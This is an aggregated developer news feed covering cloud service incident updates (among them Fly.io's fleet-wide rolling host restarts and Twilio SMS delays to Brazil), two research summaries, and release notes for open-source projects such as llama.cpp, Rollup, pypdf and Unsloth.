Identified · 2026-10-16 23:15 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 85% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 22:27 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 80% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 21:41 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 70% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 21:11 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 65% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 20:41 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 50% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 20:00 UTC — Host restarts are continuing in phases across all regions - at this point, roughly 40% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. In general, Fly Machines should return to whatever state they were in prior to the host reboot, unless the Machine's restart policy says otherwise. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 19:10 UTC — Host restarts are continuing in phases across all regions, with the second phase nearly complete - at this point, roughly 25% of all hosts across the fleet have been restarted. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 18:35 UTC — Host restarts are continuing in phases across all regions, with the first phase nearly complete. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions; however, MPG users will likely see elevated primary <> standby switchovers during this period. We will continue to provide updates on progress as the rollout continues.
Identified · 2026-10-16 18:01 UTC — Host restarts are continuing in phases across all regions. Only a subset of hosts in each region will be down at each time. We expect this process to take multiple hours to complete in full, with larger regions taking the longest to complete. Rollout phases were scheduled to minimize impact to Managed Postgres Clusters within those regions, however MPG users will likely see elevated primary <> standby switchovers during this period. We will provide further updates on progress as the rollout continues.
Identified · 2026-10-16 16:59 UTC — Rolling host restarts are beginning in all regions. Machines, volumes, and MPG instances will be unavailable for approximately 15-20 minutes when their hosts are restarted during this process. Users should expect a period of disruption or downtime for their apps during this, especially if they are running on a single machine. We will provide further updates as the rollout progresses.
Identified · 2026-10-16 16:50 UTC — We are beginning the rolling restart process of all hosts, beginning with the YYZ region. Machines, volumes, and MPG instances on hosts being rebooted will be unavailable for approximately 15-20 minutes during the restart. We will provide further updates as the rollout progresses.
Identified · 2026-10-16 16:22 UTC — We will be imminently applying rolling restarts across all hosts in our fleet for a critical maintenance. Customer Machines, volumes, and MPG cluster instances on each host will be unavailable while their host reboots. Each host will be unavailable for 15 - 20 minutes during the restart, and multiple hosts in a region may be down at once. Users should expect a period of downtime or disruption for their apps, especially if they are running on a single machine. We are aiming for the highest possible uptime during the rollout, while ensuring this is completed quickly. We will provide a further update once we begin the restart process.

Read it at the source



Degraded SIP Performance

LiveKit · Oct 16, 4:04 PM UTC

Resolved · 2026-10-16 17:30 UTC — This incident has been resolved. Between 14:49 UTC and 15:58 UTC, approximately 14% of outbound calls and 5% of inbound calls in US West failed. We will follow up with more details surrounding the root cause and preventative actions in a postmortem.
Monitoring · 2026-10-16 16:57 UTC — We estimate that approximately 14% of outbound calls and 5% of inbound calls in US West failed between 14:49 UTC and 15:58 UTC. We will follow up as soon as possible with more details.
Monitoring · 2026-10-16 16:35 UTC — We applied mitigation as of 15:58 UTC and SIP outbound connection success has returned to normal. We are continuing to monitor before marking this resolved.
Identified · 2026-10-16 16:12 UTC — We have identified the source of the issue and are working to route around the impact.
Investigating · 2026-10-16 16:04 UTC — We are investigating degraded SIP performance in US West starting at 14:49 UTC affecting new outbound calls.

Read it at the source



SMS Delivery Delays from a Subset of Twilio Short Codes to Brisanet Brazil

Twilio · Oct 16, 2:44 PM UTC

Resolved · 2026-10-17 10:14 UTC — The incident has been resolved and SMS delivery from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil is operating normally.
Monitoring · 2026-10-17 05:08 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:45 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 8 hours or as soon as more information becomes available.
Identified · 2026-10-16 17:45 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 4 hours or as soon as more information becomes available.
Identified · 2026-10-16 15:44 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 14:44 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



SMS Delivery Delays from a Subset of Twilio Short Codes to Brisanet Brazil

SendGrid · Oct 16, 2:44 PM UTC

Resolved · 2026-10-17 10:14 UTC — The incident has been resolved and SMS delivery from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil is operating normally.
Monitoring · 2026-10-17 05:08 UTC — We have observed a recovery in SMS delivery from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil and are monitoring service stability. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 21:45 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 8 hours or as soon as more information becomes available.
Identified · 2026-10-16 17:45 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 4 hours or as soon as more information becomes available.
Identified · 2026-10-16 15:44 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 2 hours or as soon as more information becomes available.
Identified · 2026-10-16 14:44 UTC — Twilio customers may be experiencing SMS delivery delays from a subset of Twilio Short Codes to Brisanet network subscribers in Brazil. Our team has identified the cause, and is working to resolve the issue. We will provide another update in 1 hour or as soon as more information becomes available.

Read it at the source



Errors publishing Zaps from Guided Templates with app approvals enabled

Zapier · Oct 16, 2:10 PM UTC

Resolved · 2026-10-16 15:23 UTC — We have deployed and verified a fix for the Guided Template publishing issue. Users who require publishing approval now see Request to publish within the Guided Template flow and can successfully submit their Zap for approval instead of encountering an error. Existing approval requirements remain in place. This issue is resolved.
Identified · 2026-10-16 15:09 UTC — We have identified an issue in the Guided Template publishing flow that displays an error instead of allowing users to request approval when publishing approval is required. We have prepared a fix and are completing deployment and production validation. In the meantime, affected users can close the Guided Template publishing window, open the created draft Zap directly in the Zap editor, and select Request to publish to submit it for approval.
Investigating · 2026-10-16 14:10 UTC — Users with app approvals enabled may encounter an error when publishing Zaps from Guided Templates. Affected users can create a draft Zap, but cannot complete publishing through the Guided Template flow. We are investigating this behavior and assessing its scope.

Read it at the source



Elevated iOS submission error rates

Expo · Oct 16, 2:07 PM UTC

Resolved · 2026-10-16 16:44 UTC — This incident has been resolved.
Identified · 2026-10-16 14:07 UTC — We're seeing an increased rate of error response statuses coming from App Store Connect API ("500 Internal Server Error").

Read it at the source



Increased HTTP 5xx Errors Ashburn

Cloudflare · Oct 16, 1:46 PM UTC

Resolved · 2026-10-16 13:46 UTC — Between 12:58 and 13:03 UTC, Cloudflare experienced an elevated rate of HTTP 5xx errors in Ashburn (IAD). The incident is now resolved, and systems are fully operational.

Read it at the source



[GAPI] - [Global] - Qwen3 Embeddings produces timeouts

Scaleway · Oct 16, 1:22 PM UTC

Resolved · 2026-10-16 13:52 UTC — The incident is now resolved. Customers should not see timeouts anymore. We continue to monitor the related deployments.
Investigating · 2026-10-16 13:22 UTC — Timeouts are observed on qwen3-embedding-8b model through the Generative API.

Read it at the source



Research


AdaFuse: Adaptive Function Fusion for Dynamic Serverless Workflows

ACM TACO (Architecture and Code Optimization) · Oct 17, 12:00 PM UTC

Serverless workflows are commonly modeled as directed acyclic graphs (DAGs) composed of fine-grained functions. While this design promotes modularity and programming flexibility, it also incurs frequent inter-function communication. To alleviate this performance overhead, functio…

The full piece, at the source



Designing more efficient quantum circuits with Claude

Anthropic Research · Oct 16, 5:29 PM UTC

Working largely on its own, Claude designed quantum circuits that improve on the best published versions, in some cases by an order of magnitude or more.

The full piece, at the source



Releases


Release v26.3.54.6-lts

ClickHouse · Oct 17, 12:50 PM UTC

No content.

The full piece, at the source



b11710

llama.cpp · Oct 17, 12:49 PM UTC

cuda : add grouped experts top-k fusion (#29181)
	
fuse grouped experts


	
add tests


	
hip fix


	
add to graph_optimize


	
apply suggestion from am17an


	
hip fix


	
fix hip fix


	
fix fix fix


	
gate on hip version instead



Website:
	https://llama.app

Attestations:
	https://github.com/ggml-org/llama.cpp/attestations/56948204

macOS/iOS:
	macOS Apple Silicon (arm64)
	macOS Apple Silicon (arm64, KleidiAI enabled) DISABLED
	macOS Intel (x64)
	iOS XCFramework

Linux:
	Ubuntu x64 (CPU)
	Ubuntu arm64 (CPU)
	Ubuntu s390x (CPU)
	Ubuntu x64 (Vulkan)
	Ubuntu arm64 (Vulkan)
	Ubuntu x64 (CUDA 12) - CUDA 12.8 libraries
	Ubuntu x64 (CUDA 13) - CUDA 13.4 libraries
	Ubuntu arm64 (CUDA 13) - CUDA 13.4 libraries
	Ubuntu x64 (ROCm 10.0)
	Ubuntu x64 (OpenVINO)
	Ubuntu x64 (SYCL FP32)
	Ubuntu x64 (SYCL FP16)
	Linux arm64 (Snapdragon: CPU, Adreno GPU, Hexagon NPU) - setup guide

Android:
	Android arm64 (CPU)
	Android arm64 (Snapdragon: CPU, Adreno GPU, Hexagon NPU) - setup guide

Windows:
	Windows x64 (CPU)
	Windows arm64 (CPU)
	Windows arm64 (OpenCL Adreno)
	Windows x64 (CUDA 12) - CUDA 12.4 DLLs
	Windows x64 (CUDA 13) - CUDA 13.4 DLLs
	Windows arm64 (CUDA 13) - CUDA 13.4 DLLs
	Windows x64 (Vulkan)
	Windows arm64 (Vulkan)
	Windows x64 (OpenVINO)
	Windows x64 (SYCL)
	Windows x64 (ROCm 10.0)

openEuler:
	DISABLED
	openEuler x86 (310p)
	openEuler x86 (910b, ACL Graph)
	openEuler aarch64 (310p)
	openEuler aarch64 (910b, ACL Graph)

UI:
	UI


Read it at the source



webpack-dev-middleware v8.4.0

webpack-dev-middleware (npm) · Oct 17, 12:41 PM UTC

Minor Changes The client posts build events to the page the way webpack dev server's does ( webpackOk , webpackErrors , webpackClose and the rest), logs Disconnected! when the connection drops and clears the build's problems from the overlay until it is back. progress accepts "circular" or "linear" . Reloads skip a page that is already navigating away, use the nearest ancestor with a url of its ow

The full piece, at the source



b11711: cuda : fix -Wtautological-compare in fattn vec dispatch (#30519)

llama.cpp · Oct 17, 12:36 PM UTC

Signed-off-by: Adrien Gallouët angt@huggingface.co

The full piece, at the source



b11709

llama.cpp · Oct 17, 12:32 PM UTC

model : add Kolibri-1 (Aleph-Alpha) support (#30673)
	model : add Kolibri-1 (Aleph-Alpha) support

Kolibri-1 is a bilingual German/English MoE reasoning model with 78B

parameters and 3.46B active per token: 50 layers, 384 routed experts plus

one shared expert.
Attention interleaves four sliding layers at a 513 window with one full

layer. The sliding layers rotate with NeoX RoPE, the full layers are NoPE.

GQA runs 48 query heads against 4 KV heads at head_dim 128 with a

QK-RMSNorm, and every block carries four RMSNorms, so the attention and the

MLP output are normalized before they rejoin the residual stream. Routing

picks the experts from logits + expert_bias and weights them with the

sigmoid of the unbiased logits, without renorm.
The converter reuses AfmoeModel for the per-expert checkpoint layout and

the expert selection bias, and writes the shared expert and the per layer

sliding window pattern. The released FP8 checkpoint needs no special code,

it goes through the generic weight_scale_inv path. Three tensor names are

added to the mapping (post_attn_norm, post_ffn_norm,

moe.router.expert_bias) and the 128k vocabulary registers the qwen2

pre-tokenizer by hash. The arch is registered in test-llama-archs, with GQA

and the sliding window pattern.
Assisted-by: DeepSeek Harness (DeepSeek V4.1 Flash)
	Update src/models/kolibri1.cpp

Co-authored-by: Sigbjørn Skjæret sigbjorn.skjaeret@huggingface.co
	
Add fusion records for kolibri1


	
Update src/models/kolibri1.cpp



Co-authored-by: Sigbjørn Skjæret sigbjorn.skjaeret@huggingface.co

Co-authored-by: Sigbjørn Skjæret sigbjorn.skjaeret@huggingface.co
Website:
	https://llama.app

Attestations:
	https://github.com/ggml-org/llama.cpp/attestations/56945604

macOS/iOS:
	macOS Apple Silicon (arm64)
	macOS Apple Silicon (arm64, KleidiAI enabled) DISABLED
	macOS Intel (x64)
	iOS XCFramework

Linux:
	Ubuntu x64 (CPU)
	Ubuntu arm64 (CPU)
	Ubuntu s390x (CPU)
	Ubuntu x64 (Vulkan)
	Ubuntu arm64 (Vulkan)
	Ubuntu x64 (CUDA 12) - CUDA 12.8 libraries
	Ubuntu x64 (CUDA 13) - CUDA 13.4 libraries
	Ubuntu arm64 (CUDA 13) - CUDA 13.4 libraries
	Ubuntu x64 (ROCm 10.0)
	Ubuntu x64 (OpenVINO)
	Ubuntu x64 (SYCL FP32)
	Ubuntu x64 (SYCL FP16)
	Linux arm64 (Snapdragon: CPU, Adreno GPU, Hexagon NPU) - setup guide

Android:
	Android arm64 (CPU)
	Android arm64 (Snapdragon: CPU, Adreno GPU, Hexagon NPU) - setup guide

Windows:
	Windows x64 (CPU)
	Windows arm64 (CPU)
	Windows arm64 (OpenCL Adreno)
	Windows x64 (CUDA 12) - CUDA 12.4 DLLs
	Windows x64 (CUDA 13) - CUDA 13.4 DLLs
	Windows arm64 (CUDA 13) - CUDA 13.4 DLLs
	Windows x64 (Vulkan)
	Windows arm64 (Vulkan)
	Windows x64 (OpenVINO)
	Windows x64 (SYCL)
	Windows x64 (ROCm 10.0)

openEuler:
	DISABLED
	openEuler x86 (310p)
	openEuler x86 (910b, ACL Graph)
	openEuler aarch64 (310p)
	openEuler aarch64 (910b, ACL Graph)

UI:
	UI


Read it at the source



strtok3 v10.6.0

strtok3 (npm) · Oct 17, 11:51 AM UTC

Changes Enhancements feat: add finite borrowed tokenizer views @Borewit ( 1332) feat: add random access tokenizer type guard @Borewit ( 1330) Bug Fixes fix: preserve tokenizer state on truncated input @Borewit ( 1331) Documentation docs: clarify tokenizer API behavior @Borewit ( 1333) Full Changelog NPM release NPM release: strtok3@10.6.0

The full piece, at the source



Rollup 4.64.8: Ensure chunk hashes change when sourcemap comments change (#6509)

Rollup · Oct 17, 11:46 AM UTC

4.64.8
2026-10-17
Bug Fixes
	Ensure chunk hashes change when sourcemap comments change (#6509)
	Resolve some relative import resolution edge cases (#6522)

Pull Requests
	#6509: fix: include sourcemap comments in chunk hashes (@snoopuppy582, @wangxpych, @lukastaegert)
	#6522: fix(browser): match node's join and relative for "." and ".." segments (@luantaraschi, @lukastaegert)
	#6577: Update dtolnay/rust-toolchain digest to 686976e (@renovate[bot])
	#6578: Update minor/patch updates (@renovate[bot])
	#6579: Update swc monorepo (major) (@renovate[bot], @lukastaegert)
	#6580: Lock file maintenance (@renovate[bot], @lukastaegert)
	#6581: Update dependency eslint-plugin-unicorn to v78 (@renovate[bot])


Read it at the source



tecnickcom/tcpdf 7.0.19

tecnickcom/tcpdf (Packagist) · Oct 17, 11:03 AM UTC

Full Changelog : https://github.com/tecnickcom/TCPDF/compare/7.0.18...7.0.19

The full piece, at the source



pypdf 6.21.1

pypdf (PyPI) · Oct 17, 10:29 AM UTC

What's new Security (SEC) Only open /DCTDecode image data with the Pillow JPEG plugin ( 4222) by @metsw24 max Full Changelog

The full piece, at the source



watchpack v2.6.2

watchpack (npm) · Oct 17, 10:28 AM UTC

Patch Changes On case insensitive file systems, give a file watched with other casing (e.g. imported as ./B while the file is b.js ) the time info of the file instead of null , so webpack rebuilds it on every change, not only the first (fixes 228). (by @alexander akait in 358) fix: do not report directories created shortly before startTime as changed when the initial scan sees only directories ( 2

The full piece, at the source



pipenv v2026.10.0

pipenv (PyPI) · Oct 17, 10:02 AM UTC

AI Generated Changelog Added Support file:// URLs as package index and mirror sources Support non Git local VCS schemes in URL unpacking Accept newer minor pylock.toml lock versions with a warning instead of failing Fixed Correctly check pylock.toml requires python and environments fields before installing Pick the correct matching entry for packages listed more than once in pylock.toml Preserv

The full piece, at the source



@asamuzakjp/css-color v7.1.7

@asamuzakjp/css-color (npm) · Oct 17, 9:30 AM UTC

Full Changelog : https://github.com/asamuzaK/cssColor/compare/v7.1.6...v7.1.7

The full piece, at the source



intervention/image 4.4.0

intervention/image (Packagist) · Oct 17, 8:10 AM UTC

What's Changed Bugfix: Keep resolution unit in Imagick CropModifier by @NotAFlightRisk in https://github.com/Intervention/image/pull/1551 Add support for decoding images directly from Psr7 stream or response instances by @olivervogel in https://github.com/Intervention/image/pull/1552 Various minor improvements by @olivervogel Full Changelog : https://github.com/Intervention/image/compare/4.3.5...4

The full piece, at the source



@hookform/resolvers v5.9.2

@hookform/resolvers (npm) · Oct 17, 7:35 AM UTC

5.9.2 (2026 10 17) Bug Fixes ajv: preserve escaped field names in validation errors ( 879) (71e6052)

The full piece, at the source



zircote/swagger-php 6.16.0

zircote/swagger-php (Packagist) · Oct 17, 7:29 AM UTC

Spec pipeline A Tag on a method or class tags its operations [OA\Tag] can now go on a method as well as a class. On a method it also tags that method's operations, and on a class every operation of the class. A class with no operations, such as one holding only Info , still only declares the tag. ( 2274) DELETE /users/{id} is tagged admin and users . The same tag declared in several places now fol

The full piece, at the source



@asamuzakjp/dom-selector v10.0.4

@asamuzakjp/dom-selector (npm) · Oct 17, 7:16 AM UTC

What's Changed Fix preceding logic by @asamuzaK in https://github.com/asamuzaK/domSelector/pull/374 Full Changelog : https://github.com/asamuzaK/domSelector/compare/v10.0.3...v10.0.4

The full piece, at the source



Meta Muse Spark Open + NVIDIA Nemotron 3.5

Unsloth · Oct 17, 6:22 AM UTC

Run NVIDIA's new Nemotron 3.5 models and Meta's new Muse Spark Open locally in Unsloth. New: text-diffusion LLMs, DeepSpeed training and better prompt caching for coding agents.
Highlights
	NVIDIA Nemotron 3.5 Bolt: Run on 24 GB of memory. Guide
	NVIDIA Nemotron 3.5 Super VL: 120B (12B active) Guide
	Meta Muse Spark Open: 816B (42.7B active) - runs on 256GB Guide
	Better prompt caching for coding agents: Claude Code, Codex etc. on local GGUF models re-process far less of each prompt.
	Browser use: Always allow properly works, cursor, and separate tabs for each chat.
	Images through your connections: generate with sd-server, Ollama, Lemonade and other image servers.
	Diffusion LLMs: train and chat with LLaDA, Dream, SDAR and more, with a live denoising canvas.

Nemotron 3.5
	Run NVIDIA Nemotron 3.5 Super VL, a 120B model with 12B active parameters and up to 1M tokens of context, built for document understanding, computer use and long-running agents. Super VL runs in about 64 GB of memory at 1-bit, or 128 GB at 4-bit. Guide · GGUF
	Run NVIDIA Nemotron 3.5 Bolt, a 74B model with 9B active parameters and 128K context, compressed from Super VL. Bolt runs in about 32 GB of memory at 1-bit or 2-bit. Guide · GGUF
	Nemotron 3.5 Super VL generates about 5x faster than Inkling Small at 100K input with similar intelligence.
	By default, Unsloth runs Nemotron 3.5 Bolt with a DSpark drafter (about 1 to 2 GB more memory) and Super VL with its built-in MTP for faster output. Both can be turned off in settings. MTP Guide

Muse Spark Open
	Run Meta's Muse Spark Open, an 816B MoE model with about 42.7B active parameters and 1M tokens of context, built for multimodal reasoning, coding and agentic workflows. Muse Spark Open runs in about 256 GB of memory at 2-bit. Guide · GGUF
	Muse Spark Open takes text, images, video and audio as input, with reasoning effort from low to xhigh.
	Muse Spark Open was trained on long-horizon coding tasks, including whole-repository generation, large end-to-end projects and auto-research.

Training
	Train and chat with text-diffusion LLMs in the Unsloth app, including LLaDA, Dream, SDAR, LLaDA2, Nemotron-Labs-Diffusion and DiffusionGemma. Chat replies show a live denoising canvas.
	Train with DeepSpeed ZeRO-2 and ZeRO-3, including 4-bit QLoRA, full fine-tuning, DPO and CPU offload. LoRA training with DDP and gradient checkpointing also no longer crashes.
	GRPO with fast_inference now runs on Nemotron 3 Nano and block-FP8 MoE models, sharing weights with vLLM.
	On the Train page, stop early when eval loss stops improving and train on pre-tokenized datasets. Random Seed now also sets the LoRA starting weights.

Performance
	When Claude Code, Codex or OpenCode runs on a local GGUF model, follow-up turns re-process much less of the conversation, and a new Claude Code session's first reply starts up to 4x sooner.
	In Python, single-prompt model.generate is up to 2.7x faster at 32K context for Llama and Qwen3 models.
	In Python, generating 2 to 4 prompts at once with a bitsandbytes 4-bit model is up to 2.8x faster on some NVIDIA GPUs.
	GRPO rollouts with fast_inference on Nemotron 3 Nano are up to 30% faster by default.

Browser use
	See a cursor where the model clicks and types, or turn it off in Settings > Browser > Browser use > Show cursor.
	Browser use prompts now have Always allow, which approves that kind of action on a site for the rest of the chat. Scripts still ask every time.
	Each chat keeps its own browser tabs, and in Desktop, browser use keeps working in chats that are not on screen.
	In the web UI, browser pages remember site preferences between pages, load data from their own site, and play videos full screen.

Images + video
	Generate images on the Images page through a connected image server, such as sd-server, Ollama, Lemonade, vLLM, llama.cpp or a custom OpenAI-compatible URL.
	Image and video models now skip text-encoder layers they never use, saving memory on every load.

Chat + Desktop
	Choose where Unsloth installs on Windows from Desktop's first-run screen.
	Re-embed your documents after switching the embedding model, without uploading them again.
	Chat with files can collapse to a row of pills, its citations open a PDF at the cited page, and newly added Word and HTML files keep their list numbers.
	Compact a conversation from the chat header menu, and Rewind no longer asks for confirmation when no files changed.

Models + settings
	When Claude Code, OpenCode or Codex runs on a cloud model, add --auto-route to unsloth start to send routine coding work, such as reading files, searching and running commands, to your local model.
	Codex can use its MCP and sub-agent tools with local models, and Claude Code, Codex and OpenCode can run on a model from Settings > Connections with unsloth start --model.
	Name a model once in Settings > API > Model aliases, so apps using the Unsloth API keep working when the model behind the alias changes.
	vLLM connections and Unsloth's own vLLM engine support thinking effort levels and Preserve thinking, and the engine now auto-compacts long chats. vLLM and SGLang loads can also set an FP8 KV cache, a GPU memory limit and a seed.
	Pick 2-bit, 4-bit, 6-bit or 8-bit from MLX repos that publish several precisions, the way you pick GGUF quants. Xing4.0 and MiniCPM-V 4.7 now run and train with MLX.

Hardware compatibility
	Windows PCs with NVIDIA drivers older than CUDA 12 install the Vulkan or CPU llama.cpp build instead of failing.
	AMD GPUs that ROCm does not support, such as RDNA 1 and Polaris, now get the Vulkan llama.cpp build even when ROCm is installed or another AMD GPU supports it.
	GGUF image generation runs on Vulkan for AMD and Intel Arc GPUs when PyTorch is CPU-only.
	Windows installs on PyTorch 2.10 and 2.11 get prebuilt flash-attn, causal-conv1d and mamba-ssm.
	Multi-GPU machines that mix GPU generations now pick the attention backend for each GPU, and Hopper GPUs with conda-forge xformers no longer crash.

Download Unsloth Desktop
Unsloth Desktop is free and open source. Download it for:
	Platform	Link
	Windows	Download
	macOS	Download
	Linux x64 / Ubuntu (deb)	Download
	Linux ARM64 / Ubuntu 24.04+ (deb)	Download
	Linux x64 (AppImage)	Download
	Windows ARM64	Download

What's Changed
	fix: update Codex client version to restore model discovery by @Imagineer99 in #13581
	Studio: changing the thinking setting also resets Expand thinking by @shimmyshimmer in #13625
	Bump install.sh / install.ps1 pins to unsloth>=2026.10.5 by @danielhanchen in #13627
	Studio MCP: never run server-side tools from the chat tool by @danielhanchen in #13605
	Nemotron-H fast_inference via vLLM weight sharing (fallback on older unsloth_zoo); drop vLLM-only kwargs on fallback by @danielhanchen in #13440
	Diffusion LM training: compiled chunked loss with 0 graph breaks, plus per-family samplers by @danielhanchen in #13341
	Studio: offer the precision folders of an MLX repo like GGUF quants by @danielhanchen in #13565
	Studio: keep ticked Word form check boxes in Chat with files by @NilayYadav in #13485
	tests: click the inline Delete button #13615 put back on the action bar by @danielhanchen in #13634
	Studio: hold the forced aligner against a folder delete; match compound audio.cpp size scopes in order by @danielhanchen in #13633
	Studio: vLLM thinking effort levels, preserve thinking and auto-compact by @danielhanchen in #13571
	Studio: stop dropping the page text after a menu with no closing tag by @NilayYadav in #13489
	Re-measure the Studio startup budget after the audio selector and thinking merges by @danielhanchen in #13640
	Studio: let the Python tool open a SQLite file by @NilayYadav in #13487
	FP8 LoRA: dequantize down_proj in the backward like gate and up by @danielhanchen in #13270
	FP8 on ROCm: use the dequant path on archs without e4m3fn Triton support by @danielhanchen in #13331
	Freeze the setup-time heap during Trainer.train(); add resume parity and memory-flat GPU tests by @danielhanchen in #13332
	Studio: train and chat with every text-diffusion LM family by @danielhanchen in #13342
	Studio: keep the local Claude agent from stopping on a small context window by @NilayYadav in #13477
	Studio: run Laya on the GPU by default and free it on unload by @NilayYadav in #13479
	Studio: pass Codex MCP and sub-agent tools to the model on /v1/responses by @NilayYadav in #13483
	DDP LoRA: default find_unused_parameters=False so gradient checkpointing does not crash by @danielhanchen in #13267
	Studio: KV cache dtype, GPU memory limit and seed for vLLM and SGLang loads by @danielhanchen in #13596
	Diffusion LMs: fast inference, live denoising frames and in-loop cancellation by @danielhanchen in #13592
	fast_cross_entropy_loss: all-masked labels give loss 0 instead of NaN by @danielhanchen in #13325
	Studio: reload a Clef as soon as the training run that unloaded it ends by @NilayYadav in #13482
	Studio: send routine coding work to the local model with unsloth start --auto-route by @NilayYadav in #13478
	tests: accept a positional encoding on Path.read_text / write_text by @danielhanchen in #13646
	QAT: fall back to the module forward for torchao NVFP4 / MX linears in fused LoRA by @danielhanchen in #13280
	Tests: keep the zoo num_proc anchor tests meaningful once the zoo adopts the edit by @danielhanchen in #13269
	Studio: point unsloth start at the right model when several are loaded by @NilayYadav in #13480
	Studio: live denoising canvas for transformers diffusion LMs by @danielhanchen in #13593
	FP8 MoE + fast_inference: refuse unsupported checkpoints before vLLM loads, with a hint that works by @danielhanchen in #13277
	Save each unsloth train run in its own folder by @NilayYadav in #13484
	Studio: keep data recipe seed inspect inside a managed account's workspace by @danielhanchen in #13611
	GRPO DDP gradient sync: copy each averaged bucket back with one foreach_copy by @danielhanchen in #13268
	Native decode: read GQA KV heads in place instead of copying them per query head by @danielhanchen in #13271
	Studio: key the i2v availability cache on the diffusers module, not its id by @danielhanchen in #13667
	Studio CI: click the composer itself in the dismiss_on_composer probe by @danielhanchen in #13670
	Studio UI test: wait for the chat shell to settle, not just the composer by @danielhanchen in #13672
	End the last gpt-oss training turn with <|return|>, not <|end|> by @NilayYadav in #13657
	Studio: LTX-2.5 defaults follow ComfyUI (hosted INT8-ConvRot DiT, opt-in int8 text encoder) by @danielhanchen in #13618
	Studio: Wan2.2-TI2V-5B LoRA training by @danielhanchen in #13654
	Studio: declare the Hub's /api/engines retry in the log budget by @danielhanchen in #13682
	Studio: Collapse thinking's chevron points up by @shimmyshimmer in #13669
	Studio: size the composer to the message column at every width and zoom, and stop clipping thinking text by @shimmyshimmer in #13675
	Studio: make the first-token waiting limit configurable by @Imagineer99 in #13390
	Model-config UI test: treat a /validate that never reports its end as a lost event by @danielhanchen in #13689
	Studio: Windows torch 2.11 kernels from our prebuilt wheels by @danielhanchen in #13564
	Studio: Chat with files search row lists its documents, which open in the attachment viewer by @shimmyshimmer in #13681
	Studio: one scrolling attachment row in a chat, even spacing above the input by @shimmyshimmer in #13678
	Studio: train structured recipe columns as JSON, not as Python dicts by @NilayYadav in #13635
	Studio: Skills pill stays with every skill unticked; its X or the + menu turns Skills off by @shimmyshimmer in #13687
